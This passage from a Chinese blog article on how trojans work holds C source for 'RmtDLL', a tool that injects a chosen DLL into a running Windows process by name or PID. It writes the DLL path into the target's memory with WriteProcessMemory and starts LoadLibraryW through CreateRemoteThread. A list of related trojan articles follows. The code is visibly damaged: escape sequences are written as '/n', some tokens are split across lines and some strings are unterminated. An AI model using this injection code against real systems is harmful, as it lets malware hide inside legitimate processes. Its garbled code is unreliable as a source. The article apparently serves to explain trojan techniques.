    else{
        //如果输入的是进程名,则转化为PID
        if(isdigit(*argv[1])) dwRemoteProcessId = atoi(argv[1]);
        else dwRemoteProcessId = ProcessToPID(argv[1]);
        //判断输入的DLL文件名是否是绝对路径
        if(strstr(argv[2],"://")!=NULL)
            strncpy(argv[2], lpDllFullPathName, MAX_PATH);
        else
        {    //取得当前目录,将相对路径转换成绝对路径
            iReturnCode = GetCurrentDirectory(MAX_PATH, lpDllFullPathName);
            CheckError(iReturnCode, 0, "GetCurrentDirectory");
            strcat(lpDllFullPathName, "//");
            strcat(lpDllFullPathName, argv[2]);
            printf("Convert DLL filename to FullPathName:/n/t%s/n/n",
lpDllFullPathName);
        }

//判断DLL文件是否存在
        iReturnCode=(int)_lopen(lpDllFullPathName, OF_READ);
        CheckError(iReturnCode, HFILE_ERROR, "DLL File not Exist");
        //将DLL文件全路径的ANSI码转换成UNICODE码
        iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
                                        pszLibFileName, MAX_PATH);
        CheckError(iReturnCode, 0, "MultByteToWideChar");
        //输出最后的操作参数
        wprintf(L"Will inject %s", pszLibFileName);
        printf(" into process:%s PID=%d/n", argv[1], dwRemoteProcessId);
    }
    //打开远程进程
    hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程
                                 PROCESS_VM_OPERATION | //允许VM操作
                                 PROCESS_VM_WRITE,       //允许VM写
                                 FALSE, dwRemoteProcessId );
    CheckError( (int) hRemoteProcess, NULL,
                "Remote Process not Exist or Access Denied!");
    //计算DLL路径名需要的内存空间
    int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
    pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,

MEM_COMMIT, PAGE_READWRITE);
    CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
    //将DLL的路径名复制到远程进程的内存空间
    iReturnCode = WriteProcessMemory(hRemoteProcess,
        pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
    CheckError(iReturnCode, false, "WriteProcessMemory");
    //计算LoadLibraryW的入口地址
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
        GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
    CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
    //启动远程线程,通过远程线程调用用户的DLL文件
    hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,
                                             pfnStartAddr, pszLibFileRemote,
 0, NULL);
    CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
    //等待远程线程退出
    WaitForSingleObject(hRemoteThread, INFINITE);
    //清场处理
    if (pszLibFileRemote != NULL)
        VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
    if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
    if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);

}//end of main()
//将进程名转换为PID的函数
DWORD ProcessToPID(char *InputProcessName)
{
    DWORD aProcesses[1024], cbNeeded, cProcesses;
    unsigned int i;
    HANDLE hProcess;
    HMODULE hMod;
    char szProcessName[MAX_PATH] = "UnknownProcess";
    // 计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs
    if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )  retu
rn 0;
    cProcesses = cbNeeded / sizeof(DWORD);
    // 按有效的PID遍历所有的进程
    for ( i = 0; i < cProcesses; i++ )
    {
        // 打开特定PID的进程
        hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
                 FALSE, aProcesses[i]);
        // 取得特定PID的进程名
        if ( hProcess )

{
            if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeede
d) )
            {
                GetModuleBaseName( hProcess, hMod,
szProcessName, sizeof(szProcessName) );
                //将取得的进程名与输入的进程名比较,如相同则返回进程PID
                if(!_stricmp(szProcessName, InputProcessName)){
                    CloseHandle( hProcess );
                    return aProcesses[i];
                }
            }
        }//end of if ( hProcess )
    }//end of for
    //没有找到相应的进程名,返回0
    CloseHandle( hProcess );
    return 0;
}//end of ProcessToPID
//错误处理函数CheckError()
//如果iReturnCode等于iErrorCode,则输出pErrorMsg并退出
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{

if(iReturnCode==iErrorCode) {
        printf("%s Error:%d/n/n", pErrorMsg, GetLastError());
        //清场处理
        if (pszLibFileRemote != NULL)
            VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
 
        if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
        if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
        exit(0);
    }
}//end of CheckError()
//使用方法说明函数usage()
void usage(char * pErrorMsg)
{
    printf("%s/n/n",pErrorMsg);
    printf("/t/tRemote Process DLL by Shotgun/n");
    printf("/tThis program can inject a DLL into remote process/n");
    printf("Email:/n");
    printf("/tShotgun@Xici.Net/n");
    printf("HomePage:/n");
    printf("/thttp://It.Xici.Net/n);
    printf("/thttp://www.Patching.Net/n);

printf("/tRmtDLL.exe PID[|ProcessName] DLLFullPathName/n");
    printf("Example:/n");
    printf("/tRmtDLL.exe 1024 C://WINNT//System32//MyDLL.dll/n");
    printf("/tRmtDLL.exe Explorer.exe C://MyDLL.dll/n");
    exit(0);
}//end of usage()

揭开木马的神秘面纱 2相关推荐

  1. 冰河浅析 - 揭开木马的神秘面纱(下)

    冰河浅析   -   揭开木马的神秘面纱(下)     作者:·   shotgun·yesky 四.破解篇(魔高一尺.道高一丈)         本文主要是探讨木马的基本原理,   木马的破解并非是 ...

  2. 揭开木马的神秘面纱 1

    揭开木马的神秘面纱 1 前言 在网上,大家最关心的事情之一就是木马:最近出了新的木马吗?木马究竟能实现 哪些功能?木马如何防治?木马究竟是如何工作的?本文试图以我国最著名的木马之  - 冰河为例,向大 ...

  3. 揭开木马的神秘面纱 一

    前言 在网上,大家最关心的事情之一就是木马:最近出了新的木马吗?木马究竟能实现哪些功能?木马如何防治?木马究竟是如何工作的?本文试图以我国最著名的木马之一 - 冰河为例,向大家剖析木马的基本原理,为大 ...

  4. 小编带你一起揭开DLL木马的神秘面纱(转)

    在这个万"马"奔腾的时代,网络上充斥着各种各样的木马,不过随着杀毒技术的进步和大家防毒意识的提高,传统木马已渐渐失去市场,而DLL木马则"与时俱进"以其强大的生 ...

  5. 了解黑客的关键工具---揭开Shellcode的神秘面纱

    2019独角兽企业重金招聘Python工程师标准>>> ref:  http://zhaisj.blog.51cto.com/219066/61428/ 了解黑客的关键工具---揭开 ...

  6. [转]揭开正则表达式的神秘面纱

    揭开正则表达式的神秘面纱 关闭高亮 [原创文章,转载请保留或注明出处:http://www.regexlab.com/zh/regref.htm] 引言 正则表达式(regular expressio ...

  7. 揭开PC-Lint9的神秘面纱

    前言 今天,又定位了一个令人懊恼的C++内存使用异常问题,最终结果,竟然是减少接口类的方法后,为了避免编译错误,顺手添加的强制类型转换导致的. 对于这样的问题,我们碰到很多很多次了.没有这样的问题,我 ...

  8. 未来已来?揭开量子计算机的神秘面纱

    从第一台现代计算机ENIAC的诞生到个人PC时代的降临,从互联网概念的提出到移动互联的疾跑,在这个信息年代里,变革正以前所未有的速度改变着我们熟悉的世界.熟悉的生活. 作为个人,我们早已习惯于智能计算 ...

  9. ASP.NET 运行时详解 揭开请求过程神秘面纱

    对于ASP.NET开发,排在前五的话题离不开请求生命周期.像什么Cache.身份认证.Role管理.Routing映射,微软到底在请求过程中干了哪些隐秘的事,现在是时候揭晓了.抛开乌云见晴天,接下来就 ...

最新文章

  1. MySQL数据库备份之主从同步配置
  2. elasticsearch高亮显示查询结果
  3. electron 解压zip_如何将Node.js中的.zip/.rar文件解压缩到文件夹中
  4. 关于HTML+CSS3的一些笔记
  5. 入门Python,看这一篇就够了,史上最全的Python基础语法知识清单!
  6. 互联网公司忽悠员工的黑话,套路太深了。。
  7. 组态王网页服务器,组态王服务器 客户端
  8. Centos备份文件
  9. 场地测量的方法和程序_施工测量的基本方法
  10. php--spry框架读取显示xml数据
  11. 《大话设计模式》之--第12章 牛市股票还会亏钱?----外观模式
  12. 不安分的 Go 语言开始入侵 Web 前端领域了
  13. 关于POS接口配置的几个注意事项
  14. Qt使用QSocket做tcp简单客户端
  15. c# ushort_C#中的ushort关键字
  16. [网络安全学习篇55]:SQL自动化注入
  17. 开启所有activex等Internet选项的批处理bat
  18. 斜杠青年Ruff:区块链只是分内事 1
  19. yum 安装oraclejdk_linux服务器上安装jdk的两种方法(yum+下载包)
  20. 人人都需要知道 关于大数据最常见的10个问题

热门文章

  1. linux点亮硬盘locat,请教一个linux的基础问题 关于PATH
  2. 一键抠图Portrait Matting人像抠图 (C++和Android源码)
  3. 一部分使用CNES后处理BIA产品的PPP-AR结果
  4. 漫威MARVEL漫画官方能力参考
  5. java电子配件公司仓库管理系统计算机毕业设计MyBatis+系统+LW文档+源码+调试部署
  6. WebBrowser查看版本
  7. 商人过河c语言编程,商人过河问题C语言源码.c
  8. 大学选修课计算机心得,大学选修课心得体会范文五篇
  9. it行业计算机考试认证全集
  10. 移植u-boot到S3C2440之从内存启动